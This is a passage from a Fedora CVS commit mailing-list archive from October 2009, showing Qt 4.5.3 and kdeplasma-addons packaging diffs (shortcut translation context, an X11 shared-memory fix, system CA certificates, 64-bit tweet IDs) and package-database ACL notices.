+    { Qt::Key_Terminal,                   QT_TRANSLATE_NOOP("QShortcut", "Terminal") },
+    { Qt::Key_Tools,                      QT_TRANSLATE_NOOP("QShortcut", "Tools") },
+    { Qt::Key_Travel,                     QT_TRANSLATE_NOOP("QShortcut", "Travel") },
+    { Qt::Key_Video,                      QT_TRANSLATE_NOOP("QShortcut", "Video") },
+    { Qt::Key_Word,                       QT_TRANSLATE_NOOP("QShortcut", "Word Processor") },
+    { Qt::Key_Xfer,                       QT_TRANSLATE_NOOP("QShortcut", "XFer") },
+    { Qt::Key_ZoomIn,                     QT_TRANSLATE_NOOP("QShortcut", "Zoom In") },
+    { Qt::Key_ZoomOut,                    QT_TRANSLATE_NOOP("QShortcut", "Zoom Out") },
+    { Qt::Key_Away,                       QT_TRANSLATE_NOOP("QShortcut", "Away") },
+    { Qt::Key_Messenger,                  QT_TRANSLATE_NOOP("QShortcut", "Messenger") },
+    { Qt::Key_WebCam,                     QT_TRANSLATE_NOOP("QShortcut", "WebCam") },
+    { Qt::Key_MailForward,                QT_TRANSLATE_NOOP("QShortcut", "Mail Forward") },
+    { Qt::Key_Pictures,                   QT_TRANSLATE_NOOP("QShortcut", "Pictures") },
+    { Qt::Key_Music,                      QT_TRANSLATE_NOOP("QShortcut", "Music") },
+    { Qt::Key_Battery,                    QT_TRANSLATE_NOOP("QShortcut", "Battery") },
+    { Qt::Key_Bluetooth,                  QT_TRANSLATE_NOOP("QShortcut", "Bluetooth") },
+    { Qt::Key_WLAN,                       QT_TRANSLATE_NOOP("QShortcut", "Wireless") },
+    { Qt::Key_UWB,                        QT_TRANSLATE_NOOP("QShortcut", "Ultra Wide Band") },
+    { Qt::Key_AudioForward,               QT_TRANSLATE_NOOP("QShortcut", "Audio Forward") },
+    { Qt::Key_AudioRepeat,                QT_TRANSLATE_NOOP("QShortcut", "Audio Repeat") },
+    { Qt::Key_AudioRandomPlay,            QT_TRANSLATE_NOOP("QShortcut", "Audio Random Play") },
+    { Qt::Key_Subtitle,                   QT_TRANSLATE_NOOP("QShortcut", "Subtitle") },
+    { Qt::Key_AudioCycleTrack,            QT_TRANSLATE_NOOP("QShortcut", "Audio Cycle Track") },
+    { Qt::Key_Time,                       QT_TRANSLATE_NOOP("QShortcut", "Time") },
+    { Qt::Key_Select,                     QT_TRANSLATE_NOOP("QShortcut", "Select") },
+    { Qt::Key_View,                       QT_TRANSLATE_NOOP("QShortcut", "View") },
+    { Qt::Key_TopMenu,                    QT_TRANSLATE_NOOP("QShortcut", "Top Menu") },
+    { Qt::Key_Suspend,                    QT_TRANSLATE_NOOP("QShortcut", "Suspend") },
+    { Qt::Key_Hibernate,                  QT_TRANSLATE_NOOP("QShortcut", "Hibernate") },
 
     // --------------------------------------------------------------
     // More consistent namings
-- 
1.6.2.5


0017-Add-context-to-tr-calls-in-QShortcut.patch:
 qkeysequence.cpp |   21 ++++++++++-----------
 1 file changed, 10 insertions(+), 11 deletions(-)

--- NEW FILE 0017-Add-context-to-tr-calls-in-QShortcut.patch ---
>From 9eb3560cfd5cd0bc9c7bf79f2c27657ee07b8f95 Mon Sep 17 00:00:00 2001
From: Albert Astals Cid <aacid at kde.org>
Date: Sat, 8 Aug 2009 14:40:25 +0200
Subject: [PATCH 17/18] Add context to tr calls in QShortcut

Some languages have special rules for using "+" to concatenate strings and
for example it needs to be Ctrl + Shift instead of Ctrl+Shift, adding
context to these strings helps creating a more correct translation
---
 src/gui/kernel/qkeysequence.cpp |   20 ++++++++++----------
 1 files changed, 10 insertions(+), 10 deletions(-)

diff --git a/src/gui/kernel/qkeysequence.cpp b/src/gui/kernel/qkeysequence.cpp
index 894f663..c17f253 100644
--- a/src/gui/kernel/qkeysequence.cpp
+++ b/src/gui/kernel/qkeysequence.cpp
@@ -991,10 +991,10 @@ int QKeySequencePrivate::decodeString(const QString &str, QKeySequence::Sequence
 
     QList<QModifKeyName> modifs;
     if (nativeText) {
-        modifs << QModifKeyName(Qt::CTRL, QShortcut::tr("Ctrl").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::SHIFT, QShortcut::tr("Shift").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::ALT, QShortcut::tr("Alt").toLower().append(QLatin1Char('+')))
-               << QModifKeyName(Qt::META, QShortcut::tr("Meta").toLower().append(QLatin1Char('+')));
+        modifs << QModifKeyName(Qt::CTRL, QShortcut::tr("Ctrl", "Ctrl key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::SHIFT, QShortcut::tr("Shift", "Shift key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::ALT, QShortcut::tr("Alt", "Alt key, used for shortcuts").toLower().append(QLatin1Char('+')))
+               << QModifKeyName(Qt::META, QShortcut::tr("Meta", "Meta key, used for shortcuts").toLower().append(QLatin1Char('+')));
     }
     modifs += *gmodifs; // Test non-translated ones last
 
@@ -1086,7 +1086,7 @@ QString QKeySequence::encodeString(int key)
 static inline void addKey(QString &str, const QString &theKey, QKeySequence::SequenceFormat format)
 {
     if (!str.isEmpty())
-        str += (format == QKeySequence::NativeText) ? QShortcut::tr("+")
+        str += (format == QKeySequence::NativeText) ? QShortcut::tr("+", "Symbol used to concatenate keys in shortcuts")
                                                     : QString::fromLatin1("+");
     str += theKey;
 }
@@ -1111,13 +1111,13 @@ QString QKeySequencePrivate::encodeString(int key, QKeySequence::SequenceFormat
     {
         // On other systems the order is Meta, Control, Alt, Shift
         if ((key & Qt::META) == Qt::META)
-            s = nativeText ? QShortcut::tr("Meta") : QString::fromLatin1("Meta");
+            s = nativeText ? QShortcut::tr("Meta", "Meta key, used for shortcuts") : QString::fromLatin1("Meta");
         if ((key & Qt::CTRL) == Qt::CTRL)
-            addKey(s, nativeText ? QShortcut::tr("Ctrl") : QString::fromLatin1("Ctrl"), format);
+            addKey(s, nativeText ? QShortcut::tr("Ctrl", "Ctrl key, used for shortcuts") : QString::fromLatin1("Ctrl"), format);
         if ((key & Qt::ALT) == Qt::ALT)
-            addKey(s, nativeText ? QShortcut::tr("Alt") : QString::fromLatin1("Alt"), format);
+            addKey(s, nativeText ? QShortcut::tr("Alt", "Alt key, used for shortcuts") : QString::fromLatin1("Alt"), format);
         if ((key & Qt::SHIFT) == Qt::SHIFT)
-            addKey(s, nativeText ? QShortcut::tr("Shift") : QString::fromLatin1("Shift"), format);
+            addKey(s, nativeText ? QShortcut::tr("Shift", "Shift key, used for shortcuts") : QString::fromLatin1("Shift"), format);
     }
 
 
@@ -1132,7 +1132,7 @@ QString QKeySequencePrivate::encodeString(int key, QKeySequence::SequenceFormat
             p += QChar((key-0x10000)%400+0xdc00);
         }
     } else if (key >= Qt::Key_F1 && key <= Qt::Key_F35) {
-            p = nativeText ? QShortcut::tr("F%1").arg(key - Qt::Key_F1 + 1)
+            p = nativeText ? QShortcut::tr("F%1", "Fx key, used for shortcuts").arg(key - Qt::Key_F1 + 1)
                            : QString::fromLatin1("F%1").arg(key - Qt::Key_F1 + 1);
     } else if (key) {
         int i=0;
-- 
1.6.2.5


0274-shm-native-image-fix.patch:
 image/qnativeimage.cpp             |   11 +----------
 image/qnativeimage_p.h             |    1 -
 kernel/qapplication_x11.cpp        |    9 +++------
 painting/qwindowsurface_raster.cpp |   13 ++++++++++---
 4 files changed, 14 insertions(+), 20 deletions(-)

--- NEW FILE 0274-shm-native-image-fix.patch ---
diff -up qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp.me qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp
--- qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp.me	2009-10-02 18:26:02.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage.cpp	2009-10-02 18:27:13.000000000 +0200
@@ -144,7 +144,7 @@ QImage::Format QNativeImage::systemForma
 #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
 
 QNativeImage::QNativeImage(int width, int height, QImage::Format format,bool /* isTextBuffer */, QWidget *widget)
-    : xshmimg(0), xshmpm(0)
+    : xshmimg(0)
 {
     if (!X11->use_mitshm) {
         image = QImage(width, height, format);
@@ -195,11 +195,6 @@ QNativeImage::QNativeImage(int width, in
             shmctl(xshminfo.shmid, IPC_RMID, 0);
         return;
     }
-    xshmpm = XShmCreatePixmap(X11->display, DefaultRootWindow(X11->display), xshmimg->data,
-                              &xshminfo, width, height, dd);
-    if (!xshmpm) {
-        qWarning() << "QNativeImage: Unable to create shared Pixmap.";
-    }
 }
 
 
@@ -208,10 +203,6 @@ QNativeImage::~QNativeImage()
     if (!xshmimg)
         return;
 
-    if (xshmpm) {
-        XFreePixmap(X11->display, xshmpm);
-        xshmpm = 0;
-    }
     XShmDetach(X11->display, &xshminfo);
     xshmimg->data = 0;
     XDestroyImage(xshmimg);
diff -up qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h.me qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h
--- qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h.me	2009-10-02 18:33:38.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/image/qnativeimage_p.h	2009-10-02 18:34:01.000000000 +0200
@@ -90,7 +90,6 @@ public:
 
 #elif defined(Q_WS_X11) && !defined(QT_NO_MITSHM)
     XImage *xshmimg;
-    Pixmap xshmpm;
     XShmSegmentInfo xshminfo;
 
 #elif defined(Q_WS_MAC)
diff -up qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp.me qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp
--- qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp.me	2009-10-02 18:27:55.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/kernel/qapplication_x11.cpp	2009-10-02 18:33:30.000000000 +0200
@@ -1959,12 +1959,9 @@ void qt_init(QApplicationPrivate *priv, 
             bool local = displayName.isEmpty() || displayName.lastIndexOf(QLatin1Char(':')) == 0;
             if (local && (qgetenv("QT_X11_NO_MITSHM").toInt() == 0)) {
                 Visual *defaultVisual = DefaultVisual(X11->display, DefaultScreen(X11->display));
-                X11->use_mitshm = mitshm_pixmaps && ((defaultVisual->red_mask == 0xff0000
-                                                      || defaultVisual->red_mask == 0xf800)
-                                                     && (defaultVisual->green_mask == 0xff00
-                                                         || defaultVisual->green_mask == 0x7e0)
-                                                     && (defaultVisual->blue_mask == 0xff
-                                                         || defaultVisual->blue_mask == 0x1f));
+                X11->use_mitshm = (defaultVisual->red_mask == 0xff0000 || defaultVisual->red_mask == 0xf800)
+                                   && (defaultVisual->green_mask == 0xff00 || defaultVisual->green_mask == 0x7e0)
+                                   && (defaultVisual->blue_mask == 0xff || defaultVisual->blue_mask == 0x1f);
             }
         }
 #endif // QT_NO_MITSHM
diff -up qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp.me qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp
--- qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp.me	2009-10-02 18:34:18.000000000 +0200
+++ qt-x11-opensource-src-4.5.3/src/gui/painting/qwindowsurface_raster.cpp	2009-10-02 18:35:54.000000000 +0200
@@ -220,9 +220,16 @@ void QRasterWindowSurface::flush(QWidget
 
     QRect br = rgn.boundingRect().translated(offset);
 #ifndef QT_NO_MITSHM
-    if (d_ptr->image->xshmpm) {
-        XCopyArea(X11->display, d_ptr->image->xshmpm, widget->handle(), d_ptr->gc,
-                  br.x(), br.y(), br.width(), br.height(), wbr.x(), wbr.y());
+    if (d_ptr->image->xshmimg && (br.width() * br.height() > 65536)) {
+        const QImage &src = d->image->image;
+        br = br.intersected(src.rect());
+        // Hack to make sure we satisify the PutImage() constraints in the X server,
+        // since the doShmPutImage() route currently forces a migration to system ram.
+        wbr.setX(wbr.x() - br.x());
+        br.setX(0);
+        br.setWidth(src.width());
+        XShmPutImage(X11->display, widget->handle(), d_ptr->gc, d_ptr->image->xshmimg,
+                     br.x(), br.y(), wbr.x(), wbr.y(), br.width(), br.height(), False);
         XSync(X11->display, False);
     } else
 #endif


--- NEW FILE kde-qt-patches.sh ---
# quick-n-dirty method to fetch patches from -patched git branch
# unfortunately, requires an already checked-out copy of the git repo

git format-patch --output-directory kde-qt-patches v4.5.3..4.5.3-patched

qt-x11-opensource-src-4.5.3-system_ca_certificates.patch:
 qsslsocket_openssl.cpp |   14 +++++++++++++-
 1 file changed, 13 insertions(+), 1 deletion(-)

--- NEW FILE qt-x11-opensource-src-4.5.3-system_ca_certificates.patch ---
diff -up qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp.system_ca_certificates qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp
--- qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp.system_ca_certificates	2009-09-29 06:01:38.000000000 -0500
+++ qt-x11-opensource-src-4.5.3/src/network/ssl/qsslsocket_openssl.cpp	2009-10-02 11:20:10.674662746 -0500
@@ -482,8 +482,20 @@ void QSslSocketPrivate::resetDefaultCiph
 
 QList<QSslCertificate> QSslSocketPrivate::systemCaCertificates()
 {
+
+    QFile caBundle;
+
+#ifdef Q_OS_UNIX
+    // Check known locations for the system's default bundle.  ### On Windows,
+    // we should use CAPI to find the bundle, and not rely on default unix
+    // locations.
+    caBundle.setFileName(QLatin1String("/etc/pki/tls/certs/ca-bundle.crt"));
+    if (caBundle.open(QIODevice::ReadOnly | QIODevice::Text))
+       return QSslCertificate::fromDevice(&caBundle);
+#endif
+
     // Qt provides a default bundle of certificates
-    QFile caBundle(QLatin1String(":/trolltech/network/ssl/qt-ca-bundle.crt"));
+    caBundle.setFileName(QLatin1String(":/trolltech/network/ssl/qt-ca-bundle.crt"));
     if (caBundle.open(QIODevice::ReadOnly | QIODevice::Text))
         return QSslCertificate::fromDevice(&caBundle);
 


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-12/.cvsignore,v
retrieving revision 1.62
retrieving revision 1.63
diff -u -p -r1.62 -r1.63
--- .cvsignore	28 Sep 2009 13:33:29 -0000	1.62
+++ .cvsignore	10 Oct 2009 20:14:40 -0000	1.63
@@ -1,11 +1,10 @@
 hi128-app-qt4-logo.png
 hi48-app-qt4-logo.png
 gstreamer-logo.svg
-qt-x11-opensource-src-4.5.2.tar.bz2
-qt-copy-patches-20090626svn.tar.bz2
 hi128-phonon-gstreamer.png
 hi16-phonon-gstreamer.png
 hi22-phonon-gstreamer.png
 hi32-phonon-gstreamer.png
 hi48-phonon-gstreamer.png
 hi64-phonon-gstreamer.png
+qt-x11-opensource-src-4.5.3.tar.gz


Index: qt.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-12/qt.spec,v
retrieving revision 1.335
retrieving revision 1.336
diff -u -p -r1.335 -r1.336
--- qt.spec	9 Oct 2009 15:04:45 -0000	1.335
+++ qt.spec	10 Oct 2009 20:14:41 -0000	1.336
@@ -9,14 +9,14 @@
 Summary: Qt toolkit
 Name:    qt
 Epoch:   1
-Version: 4.5.2
-Release: 25%{?dist}
+Version: 4.5.3
+Release: 4%{?dist}
 
 # See LGPL_EXCEPTIONS.txt, LICENSE.GPL3, respectively, for exception details
 License: LGPLv2 with exceptions or GPLv3 with exceptions
 Group: System Environment/Libraries
 Url: http://www.qtsoftware.com/
-Source0: ftp://ftp.trolltech.com/qt/source/qt-x11-opensource-src-%{version}.tar.bz2
+Source0: ftp://ftp.qt.nokia.com/qt/source/qt-x11-opensource-src-%{version}.tar.gz
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 Obsoletes: qt4 < %{version}-%{release}
 Provides: qt4 = %{version}-%{release}
@@ -42,7 +42,7 @@ Patch17: qt-x11-opensource-src-4.5.2-pul
 Patch19: qt-x11-opensource-src-4.5.1-phonon.patch
 Patch21: qt-x11-opensource-src-4.5.2-gst-pulsaudio.patch
 # use system ca-bundle certs, http://bugzilla.redhat.com/521911
-Patch22: qt-x11-opensource-src-4.5.2-system_ca_certificates.patch 
+Patch22: qt-x11-opensource-src-4.5.3-system_ca_certificates.patch 
 Requires: ca-certificates
 # disable JavaScriptCore JIT as it crashes with SE Linux
 # http://bugzilla.redhat.com/527079
@@ -57,21 +57,30 @@ Patch53: qt-x11-opensource-src-4.5.0-fix
 # fix invalid assumptions about mysql_config --libs
 # http://bugzilla.redhat.com/440673
 Patch54: qt-x11-opensource-src-4.5.1-mysql_config.patch
-Patch55: qt-x11-opensource-src-4.5.2-timestamp.patch
-# compile with openssl-1.0
-Patch56: qt-x11-opensource-src-4.5.2-ossl10.patch
-
-## upstream/security patches
-Patch100: qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch
-Patch101: qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch
-Patch102: qt-x11-opensource-src-4.5.2-fix-webkit-drag-crash.patch
 
-# switch to kde-qt branches, qt-copy doesn't exist anymore
-Patch200: kde-qt-patches-20090820git.patch
+# security patches
+
+# kde-qt git patches
+Patch201: 0001-This-patch-uses-object-name-as-a-fallback-for-window.patch
+Patch202: 0002-This-patch-makes-override-redirect-windows-popup-me.patch
+Patch203: 0003-This-patch-changes-QObjectPrivateVersion-thus-preve.patch
+Patch204: 0004-This-patch-adds-support-for-using-isystem-to-allow.patch
+Patch205: 0005-When-tabs-are-inserted-or-removed-in-a-QTabBar.patch
+Patch206: 0006-Fix-configure.exe-to-do-an-out-of-source-build-on-wi.patch
+Patch207: 0007-When-using-qmake-outside-qt-src-tree-it-sometimes-g.patch
+Patch208: 0008-In-a-treeview-with-columns-like-this.patch
+Patch209: 0009-This-patch-fixes-deserialization-of-values-with-cust.patch
+Patch210: 0010-Import-README.qt-copy-from-the-original-qt-copy.patch
+Patch211: 0011-Update-this-file-to-reflect-the-workflow-with-Git-a.patch
+Patch212: 0274-shm-native-image-fix.patch
+Patch213: 0015-Make-QMenu-respect-the-minimum-width-set.patch
+Patch214: 0016-Fill-gap-of-X.org-XFree-multimedia-special-launcher.patch
+Patch215: 0017-Add-context-to-tr-calls-in-QShortcut.patch
+
 # these patches are not merged yet in kde-qt branches
-Patch201: 0118-qtcopy-define.diff
-Patch202: 0283-do-not-deduce-scrollbar-extent-twice.diff
-Patch203: 0285-qgv-dontshowchildren.diff
+Patch301: 0118-qtcopy-define.diff
+Patch302: 0283-do-not-deduce-scrollbar-extent-twice.diff
+Patch303: 0285-qgv-dontshowchildren.diff
 
 Source10: http://gstreamer.freedesktop.org/data/images/artwork/gstreamer-logo.svg
 Source11: hi16-phonon-gstreamer.png
@@ -370,19 +379,30 @@ Qt libraries used for drawing widgets an
 %patch52 -p1 -b .sparc64
 %patch53 -p1 -b .qatomic-inline-asm
 %patch54 -p1 -b .mysql_config
-%patch55 -p1 -b .timestamp
-%patch56 -p1 -b .ossl10
 
-# upstream/security fixes
-%patch100 -p1 -b .CVE-2009-1725
-%patch101 -p1 -b .CVE-2009-2700
-%patch102 -p1 -b .webkit_drag_crash
+# security fixes
 
 # kde-qt branch
-%patch200 -p1 -b .kde-qt-patches-20090820git
-%patch201 -p0 -b .0118-qtcopy-define
-%patch202 -p0 -b .0283-do-not-deduce-scrollbar-extent-twice
-%patch203 -p0 -b .0285-qgv-dontshowchildren
+%patch201 -p1 -b .kde-qt-0001
+%patch202 -p1 -b .kde-qt-0002
+%patch203 -p1 -b .kde-qt-0003
+%patch204 -p1 -b .kde-qt-0004
+%patch205 -p1 -b .kde-qt-0005
+%patch206 -p1 -b .kde-qt-0006
+%patch207 -p1 -b .kde-qt-0007
+%patch208 -p1 -b .kde-qt-0008
+%patch209 -p1 -b .kde-qt-0009
+%patch210 -p1 -b .kde-qt-0010
+%patch211 -p1 -b .kde-qt-0011
+%patch212 -p1 -b .0274-shm-native-image-fix
+%patch213 -p1 -b .kde-qt-0015
+%patch214 -p1 -b .kde-qt-0016
+%patch215 -p1 -b .kde-qt-0017
+
+# not yet merged ones
+%patch301 -p0 -b .0118-qtcopy-define
+%patch302 -p0 -b .0283-do-not-deduce-scrollbar-extent-twice
+%patch303 -p0 -b .0285-qgv-dontshowchildren
 
 # drop -fexceptions from $RPM_OPT_FLAGS
 RPM_OPT_FLAGS=`echo $RPM_OPT_FLAGS | sed 's|-fexceptions||g'`
@@ -419,8 +439,11 @@ if [ "%{_lib}" == "lib64" ] ; then
   sed -i -e "s,/lib /usr/lib,/%{_lib} /usr/%{_lib},g" config.tests/{unix,x11}/*.test
 fi
 
-# let syncqt to create new header
-rm -rf include
+# let makefile create missing .qm files, the .qm files should be included in qt upstream
+for f in translations/*.ts ; do
+  touch ${f%.ts}.qm
+done
+
 
 %build
 
@@ -485,6 +508,9 @@ rm -rf include
 
 make %{?_smp_mflags}
 
+# recreate .qm files
+LD_LIBRARY_PATH=`pwd`/lib bin/lrelease translations/*.ts
+
 
 %install
 rm -rf %{buildroot}
@@ -528,6 +554,7 @@ sed -i -e "s|^QMAKE_PRL_LIBS|#QMAKE_PRL_
 # .la files, die, die, die.
 rm -f %{buildroot}%{_qt4_libdir}/lib*.la
 
+
 %if 0
 #if "%{_qt4_docdir}" != "%{_qt4_prefix}/doc"
 # -doc make symbolic link to _qt4_docdir
@@ -943,19 +970,21 @@ fi
 
 
 %changelog
-* Fri Oct 09 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-25
-- qt webkit crash on drag (#528094)
+* Sat Oct 10 2009 Than Ngo <than at redhat.com> - 4.5.3-4
+- fix translation build issue
+- rhel cleanup
 
-* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 4.5.2-24
+* Tue Oct 06 2009 Jaroslav Reznik <jreznik at redhat.com> - 4.5.3-3
 - disable JavaScriptCore JIT, SE Linux crashes (#527079)
 
-* Sun Oct 04 2009 Than Ngo <than at redhat.com> - 4.5.2-23
-- rhel cleanup
-
-* Sat Oct 03 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-22
+* Fri Oct 02 2009 Than Ngo <than at redhat.com> - 4.5.3-2
+- cleanup patches
 - if ! phonon_internal, exclude more/all phonon headers
 - qt-devel must Requires: phonon-devel (#520323)
 
+* Thu Oct 01 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.3-1
+- qt-4.5.3
+
 * Tue Sep 29 2009 Rex Dieter <rdieter at fedoraproject.org> - 4.5.2-21
 - switch to external/kde phonon
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qt/F-12/sources,v
retrieving revision 1.64
retrieving revision 1.65
diff -u -p -r1.64 -r1.65
--- sources	28 Sep 2009 13:33:30 -0000	1.64
+++ sources	10 Oct 2009 20:14:41 -0000	1.65
@@ -1,10 +1,10 @@
 d9f511e4b51983b4e10eb58b320416d5  hi128-app-qt4-logo.png
 6dcc0672ff9e60a6b83f95c5f42bec5b  hi48-app-qt4-logo.png
 8e3924f417fea67f72b2105faed2119c  gstreamer-logo.svg
-28a7e8ac9805a6f614d2a27ee1a6ac9d  qt-x11-opensource-src-4.5.2.tar.bz2
 60de9d7e1cddd019f09fd036f0e5413a  hi128-phonon-gstreamer.png
 7ca265e0cf75b3b4c81e1490d3dba3be  hi16-phonon-gstreamer.png
 0a9f69d901aded140d4fed969c22e14f  hi22-phonon-gstreamer.png
 12db12c009b722a6dc141f78feb7e330  hi32-phonon-gstreamer.png
 86c34a1b81d44980b1381f94ed6b7a23  hi48-phonon-gstreamer.png
 153505c71ec021b0a3bd4b74f2492e93  hi64-phonon-gstreamer.png
+3988cf9af68be2df8a8000ede231de9b  qt-x11-opensource-src-4.5.3.tar.gz


--- kde-qt-patches-20090820git.patch DELETED ---


--- qt-copy-patches-svn_checkout.sh DELETED ---


--- qt-x11-opensource-src-4.5.2-CVE-2009-1725.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-CVE-2009-2700.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-fix-webkit-drag-crash.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-ossl10.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-system_ca_certificates.patch DELETED ---


--- qt-x11-opensource-src-4.5.2-timestamp.patch DELETED ---



From rdieter at fedoraproject.org  Sat Oct 10 20:22:06 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 10 Oct 2009 20:22:06 +0000 (UTC)
Subject: rpms/kdeplasma-addons/devel
	kdeplasma-addons-4.3.2-microblog_twitter.patch, NONE,
	1.1 kdeplasma-addons.spec, 1.65, 1.66
Message-ID: <20091010202206.EB59F11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

Update of /cvs/pkgs/rpms/kdeplasma-addons/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11709

Modified Files:
	kdeplasma-addons.spec 
Added Files:
	kdeplasma-addons-4.3.2-microblog_twitter.patch 
Log Message:
* Mon Oct 05 2009 Than Ngo <than at redhat.com> - 4.3.2-1
- 4.3.2


kdeplasma-addons-4.3.2-microblog_twitter.patch:
 microblog.cpp |    8 ++++----
 microblog.h   |    4 ++--
 2 files changed, 6 insertions(+), 6 deletions(-)

--- NEW FILE kdeplasma-addons-4.3.2-microblog_twitter.patch ---
--- branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.cpp	2009/09/29 17:15:46	1029410
+++ branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.cpp	2009/10/10 18:54:46	1033679
@@ -381,9 +381,9 @@
 
         //add the newbies
         int newCount = 0;
-        ulong maxId = m_lastTweet;
+        qulonglong maxId = m_lastTweet;
         foreach (const QString &id, data.keys()) {
-            ulong i = id.toULong();
+            qulonglong i = id.toULong();
             //kDebug() << i << m_lastTweet;
             if (i > m_lastTweet) {
                 newCount++;
@@ -464,7 +464,7 @@
     // Add more tweetWidgets if there are not enough
 
     if (m_tweetMap.count() > m_historySize) {
-        QMap<ulong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.begin();
+        QMap<qulonglong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.begin();
         while (it != m_tweetMap.end() && m_tweetMap.count() > m_historySize) {
             it = m_tweetMap.erase(it);
         }
@@ -521,7 +521,7 @@
     }
 
     int i = 0;
-    QMap<ulong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.end();
+    QMap<qulonglong, Plasma::DataEngine::Data>::iterator it = m_tweetMap.end();
     while (it != m_tweetMap.begin()) {
         Plasma::DataEngine::Data &tweetData = *(--it);
         QString user = tweetData.value("User").toString();
--- branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.h	2009/09/29 17:15:46	1029410
+++ branches/KDE/4.3/kdeplasma-addons/applets/microblog/microblog.h	2009/10/10 18:54:46	1033679
@@ -162,10 +162,10 @@
         QString m_curTimeline;
 
         QMap<QString, QPixmap> m_pictureMap;
-        QMap<ulong, Plasma::DataEngine::Data> m_tweetMap;
+        QMap<qulonglong, Plasma::DataEngine::Data> m_tweetMap;
         QList<Tweet> m_tweetWidgets;
 
-        ulong m_lastTweet;
+        qulonglong m_lastTweet;
         KWallet::Wallet *m_wallet;
         enum WalletWait { None=0, Read, Write };
         WalletWait m_walletWait;


Index: kdeplasma-addons.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kdeplasma-addons/devel/kdeplasma-addons.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- kdeplasma-addons.spec	7 Oct 2009 09:21:48 -0000	1.65
+++ kdeplasma-addons.spec	10 Oct 2009 20:22:06 -0000	1.66
@@ -1,6 +1,6 @@
 Name:           kdeplasma-addons
 Version:        4.3.2
-Release:        1%{?dist}
+Release:        2%{?dist}
 Summary:        Additional plasmoids for KDE
 
 Group:          User Interface/Desktops
@@ -15,8 +15,7 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 Patch51: kdeplasma-addons-4.2.2-krunner_contacts_not_enabledbydefault.patch
 
 ## upstream patches
-# https://bugzilla.redhat.com/526524
-# Backported from 4.3 branch
+Patch100: kdeplasma-addons-4.3.2-microblog_twitter.patch
 
 BuildRequires:  boost-devel
 BuildRequires:  eigen2-devel
@@ -81,6 +80,7 @@ Files for developing applications using 
 %setup -q -n kdeplasma-addons-%{version}
 
 %patch51 -p1 -b .krunner_contacts_not_enabledbydefault 
+%patch100 -p4 -b .microblog_twitter
 
 
 %build



From pkgdb at fedoraproject.org  Sat Oct 10 20:31:00 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 20:31:00 +0000
Subject: [pkgdb] kdepim-runtime: rdieter has given up approveacls
Message-ID: <20091010203100.A418010F84D@bastion2.fedora.phx.redhat.com>

rdieter has given up the approveacls acl on kdepim-runtime (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From pkgdb at fedoraproject.org  Sat Oct 10 20:31:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 10 Oct 2009 20:31:08 +0000
Subject: [pkgdb] kdepim-runtime: rdieter has requested approveacls
Message-ID: <20091010203108.B9E7910F84D@bastion2.fedora.phx.redhat.com>

rdieter has requested the approveacls acl on kdepim-runtime (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/kdepim-runtime



From rdieter at fedoraproject.org  Sat Oct 10 20:34:56 2009
From: rdieter at fedoraproject.org (Rex Dieter)
Date: Sat, 10 Oct 2009 20:34:56 +0000 (UTC)
Subject: rpms/kdeplasma-addons/devel kdeplasma-addons.spec,1.66,1.67
Message-ID: <20091010203456.6A32E11C00DB@cvs1.fedora.phx.redhat.com>

Author: rdieter

